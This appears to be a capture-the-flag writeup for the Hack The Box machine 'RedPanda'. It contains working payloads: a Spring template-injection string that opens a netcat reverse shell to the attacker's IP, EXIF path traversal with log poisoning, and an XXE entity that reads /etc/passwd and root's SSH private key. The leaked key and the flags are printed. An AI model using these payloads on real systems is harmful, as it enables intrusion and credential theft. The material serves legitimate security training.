RedPanda

Recon

nmap_scan.log
Open 10.129.227.207:22
Open 10.129.227.207:8080
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV -sC -Pn" on ip 10.129.227.207

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
|   256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
8080/tcp open  http    syn-ack Apache Tomcat (language: en)
|_http-title: Red Panda Search | Made with Spring Boot
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP (8080)

We have only "Search For Pandas" which is reflected to us right away, when I tried SSTI payload it got denied.

Writeup.png
${7*7}  -> Blocked
{{7*7}} -> Not Blocked

If we go to random path application gives us Whitelabel Error Page -> Spring Boot Remove Whitelabel Error Page

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#spring-framework-java

*{7*7} returns 49, SSTI confirmed

Writeup-1.png

Get reverse shell

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('busybox nc 10.10.14.113 4444 -e /bin/bash').getInputStream())}

Reverse Shell (woodenk)

└─$ pwncat-cs -lp 4444
[07:39:05] 10.129.227.207:46968: registered new host w/ db                                manager.py:957
(local) pwncat$
(remote) woodenk@redpanda:/tmp/hsperfdata_woodenk$ id
uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)

User.txt

(remote) woodenk@redpanda:/home/woodenk$ cat user.txt
19c0bd3f046fc3457b72a9bde1ec0833

SSH (22) (woodenk)

Upgrade shell to SSH

└─$ ssh-keygen -f id_rsa -P x -q && cat id_rsa.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDHPusT1r2hlpiH5tU9+UdXdGcEfOZj+XS6EPdUeIkxx woyag@kraken
---
(remote) woodenk@redpanda:/home/woodenk$ mkdir ~/.ssh; echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDHPusT1r2hlpiH5tU9+UdXdGcEfOZj+XS6EPdUeIkxx woyag@kraken' > ~/.ssh/authorized_keys; chown $USER:$USER -R ~/.ssh
---
└─$ ssh woodenk@10.129.227.207 -i id_rsa
woodenk@redpanda:~$ id
uid=1000(woodenk) gid=1000(woodenk) groups=1000(woodenk)

Hmm... User is no longer part of logs group from SSH login.

woodenk@redpanda:/opt/panda_search/src/main/java/com/panda_search/htb/panda_search$ cat MainController.java | grep Driver
            Class.forName("com.mysql.cj.jdbc.Driver");
            conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
woodenk@redpanda:/opt/panda_search/src/main/java/com/panda_search/htb/panda_search$ sudo -l
Sorry, user woodenk may not run sudo on redpanda.

Privilege Escalation

There's some cleanup script in the /opt so some service or user is running these as cronjob (probably). /etc/crontabs is empty so can't determine script.

woodenk@redpanda:/opt$ cat cleanup.sh
#!/bin/bash
/usr/bin/find /tmp -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /var/tmp -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /dev/shm -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /home/woodenk -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /tmp -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /var/tmp -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /dev/shm -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /home/woodenk -name "*.jpg" -exec rm -rf {} \;

Download pspy and observe the processes

└─$ scp -i id_rsa /opt/scripts/enum/pspy64 woodenk@10.129.227.207:/tmp/pspy
---
woodenk@redpanda:/opt$ chmod +x /tmp/pspy
woodenk@redpanda:/opt$ /tmp/pspy
...
2024/12/13 13:00:05 CMD: UID=0     PID=1      | /sbin/init maybe-ubiquity
2024/12/13 13:02:01 CMD: UID=0     PID=2259   | /usr/sbin/CRON -f
2024/12/13 13:02:01 CMD: UID=0     PID=2261   | /bin/sh /root/run_credits.sh
2024/12/13 13:02:01 CMD: UID=0     PID=2260   | /bin/sh -c /root/run_credits.sh
2024/12/13 13:02:01 CMD: UID=0     PID=2262   | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
2024/12/13 13:02:06 CMD: UID=0     PID=2280   | run-parts --list /etc/dhcp/dhclient-enter-hooks.d
2024/12/13 13:02:06 CMD: UID=0     PID=2279   | /bin/sh /sbin/dhclient-script
2024/12/13 13:02:06 CMD: UID=0     PID=2283   | systemctl is-enabled systemd-resolved
2024/12/13 13:02:06 CMD: UID=0     PID=2284   | ip -4 addr change 10.129.227.207/255.255.0.0 broadcast 10.129.255.255 valid_lft 3600 preferred_lft 3600 dev eth0 label eth0
2024/12/13 13:02:06 CMD: UID=0     PID=2286   | mktemp
2024/12/13 13:02:06 CMD: UID=0     PID=2287   | /bin/sh /sbin/dhclient-script
2024/12/13 13:02:06 CMD: UID=0     PID=2288   | cat
2024/12/13 13:02:06 CMD: UID=0     PID=2289   |
2024/12/13 13:02:06 CMD: UID=0     PID=2290   | md5sum /run/systemd/resolved.conf.d/isc-dhcp-v4-eth0.conf /run/systemd/resolved.conf.d/isc-dhcp-v6-eth0.conf
2024/12/13 13:02:06 CMD: UID=0     PID=2292   | rm /tmp/tmp.rZFR4gK0Gv
2024/12/13 13:02:06 CMD: UID=0     PID=2293   | rm /tmp/tmp.NHcPTBYKtY
...

View the source:

woodenk @redpanda: /opt/credit-score/LogParser/final/src/main/java/com/logparser$ cat App.java
package com.logparser;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
import com.drew.imaging.jpeg.JpegMetadataReader;
import com.drew.imaging.jpeg.JpegProcessingException;
import com.drew.metadata.Directory;
import com.drew.metadata.Metadata;
import com.drew.metadata.Tag;
import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
import org.jdom2.*;

public class App {
    public static Map parseLog(String line) {
        String[] strings = line.split("\\|\\|");
        Map map = new HashMap<>();
        map.put("status_code", Integer.parseInt(strings[0]));
        map.put("ip", strings[1]);
        map.put("user_agent", strings[2]);
        map.put("uri", strings[3]);
        return map;
    }

    public static boolean isImage(String filename) { return filename.contains(".jpg"); }

    public static String getArtist(String uri) throws IOException, JpegProcessingException {
        String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
        File jpgFile = new File(fullpath);
        Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
        for (Directory dir: metadata.getDirectories()) {
            for (Tag tag: dir.getTags()) {
                if (tag.getTagName() == "Artist") {
                    return tag.getDescription();
                }
            }
        }

        return "N/A";
    }

    public static void addViewTo(String path, String uri) throws JDOMException, IOException {
        SAXBuilder saxBuilder = new SAXBuilder();
        XMLOutputter xmlOutput = new XMLOutputter();
        xmlOutput.setFormat(Format.getPrettyFormat());

        File fd = new File(path);
        Document doc = saxBuilder.build(fd);
        Element rootElement = doc.getRootElement();
        for (Element el: rootElement.getChildren()) {
            if (el.getName() == "image") {
                if (el.getChild("uri").getText().equals(uri)) {
                    Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
                    System.out.println("Total views:" + Integer.toString(totalviews));
                    rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
                    Integer views = Integer.parseInt(el.getChild("views").getText());
                    el.getChild("views").setText(Integer.toString(views + 1));
                }
            }
        }
        BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
        xmlOutput.output(doc, writer);
    }

    public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
        File log_fd = new File("/opt/panda_search/redpanda.log");
        Scanner log_reader = new Scanner(log_fd);
        while (log_reader.hasNextLine()) {
            String line = log_reader.nextLine();
            if (!isImage(line)) { continue; }
            Map parsed_data = parseLog(line);
            System.out.println(parsed_data.get("uri"));
            String artist = getArtist(parsed_data.get("uri").toString());
            System.out.println("Artist: " + artist);
            String xmlPath = "/credits/" + artist + "_creds.xml";
            addViewTo(xmlPath, parsed_data.get("uri").toString());
        }
    }
}

The log looks like following

woodenk@redpanda:/opt/panda_search$ cat redpanda.log
200||10.10.14.113||Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36||/search
200||10.10.14.113||Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36||/search
405||10.10.14.113||Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36||/error
405||10.10.14.113||Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36||/error

The program only processes lines that has .jpg in the URL. Then it's parsing lines by splitting line on || and create dictionary. Then it's going to get artist based on Artist attribute from image metadata and it's going to parse that XML.

Available images:

woodenk@redpanda:/opt/panda_search/src/main/resources/static/img$ ls -lh
total 3.5M
-rw-rw-r-- 1 root root 219K Feb 21  2022 angy.jpg
-rw-rw-r-- 1 root root 1.1M Jun 20  2022 crafty.jpg
-rw-rw-r-- 1 root root 109K Feb 21  2022 florida.jpg
-rw-rw-r-- 1 root root 101K Feb 21  2022 greg.jpg
-rw-rw-r-- 1 root root 636K Feb 21  2022 hungy.jpg
-rw-rw-r-- 1 root root 833K Feb 21  2022 lazy.jpg
-rw-rw-r-- 1 root root  70K Feb 21  2022 mr_puffy.jpg
-rw-r--r-- 1 root root  32K Jun 20  2022 peter.jpg
-rw-rw-r-- 1 root root  45K Feb 21  2022 shy.jpg
-rw-rw-r-- 1 root root 196K Feb 21  2022 smiley.jpg
-rw-rw-r-- 1 root root 192K Feb 21  2022 smooch.jpg
---
└─$ curl -LOs http://10.129.227.207:8080/img/angy.jpg
└─$ exiftool angy.jpg | grep Artist
Artist                          : damian
(remote) woodenk@redpanda:/credits$ ls
damian_creds.xml  woodenk_creds.xml
(remote) woodenk@redpanda:/credits$ cat damian_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<credits>
  <author>damian</author>
  <image>
    <uri>/img/angy.jpg</uri>
    <views>2</views>
  </image>
  <image>
    <uri>/img/shy.jpg</uri>
    <views>0</views>
  </image>
  <image>
    <uri>/img/crafty.jpg</uri>
    <views>0</views>
  </image>
  <image>
    <uri>/img/peter.jpg</uri>
    <views>0</views>
  </image>
  <totalviews>2</totalviews>
</credits>

Note: We have access to this directory from Reverse Shell, because that session is part of logs group.

Create malicious jpg image

└─$ mv angy.jpg letmein.jpg
└─$ exiftool -Artist='../tmp/letmein' letmein.jpg
└─$ exiftool letmein.jpg | grep Artist
Artist                          : ../tmp/letmein
└─$ sshpass -p 'RedPandazRule' scp letmein.jpg woodenk@10.129.227.207:/tmp/letmein.jpg

Create malicious XML: https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity#read-file

(remote) woodenk@redpanda:/credits$ nano /tmp/letmein_creds.xml
(remote) woodenk@redpanda:/credits$ cat /tmp/letmein_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<credits>
  <author>letmein</author>
  <image>
    <uri>/../../../../../../../tmp/letmein.jpg</uri>
    <views>2</views>
    <data>&example;</data>
  </image>
  <totalviews>2</totalviews>
</credits>

Poison the log:

(remote) woodenk@redpanda:/credits$ echo '200||10.10.14.113||Mozilla||/../../../../../../../tmp/letmein.jpg' > /opt/panda_search/redpanda.log

After cronjob runs:

(remote) woodenk@redpanda:/tmp$ cat /tmp/letmein_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo>
<credits>
  <author>letmein</author>
  <image>
    <uri>/../../../../../../../tmp/letmein.jpg</uri>
    <views>3</views>
    <data>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
woodenk:x:1000:1000:,,,:/home/woodenk:/bin/bash
mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false</data>
  </image>
  <totalviews>3</totalviews>
</credits>

We have LFI as root, let's try leaking the SSH key (if it exists)

<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/root/.ssh/id_rsa"> ]>
<data>
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----
</data>
└─$ nano root.id_rsa
└─$ chmod 600 root.id_rsa
└─$ ssh root@10.129.227.207 -i root.id_rsa
root@redpanda:~# id
uid=0(root) gid=0(root) groups=0(root)

Root.txt

root@redpanda:~# cat /root/root.txt
52c00ae262250ac2e253b1f16b38a5da

Last updated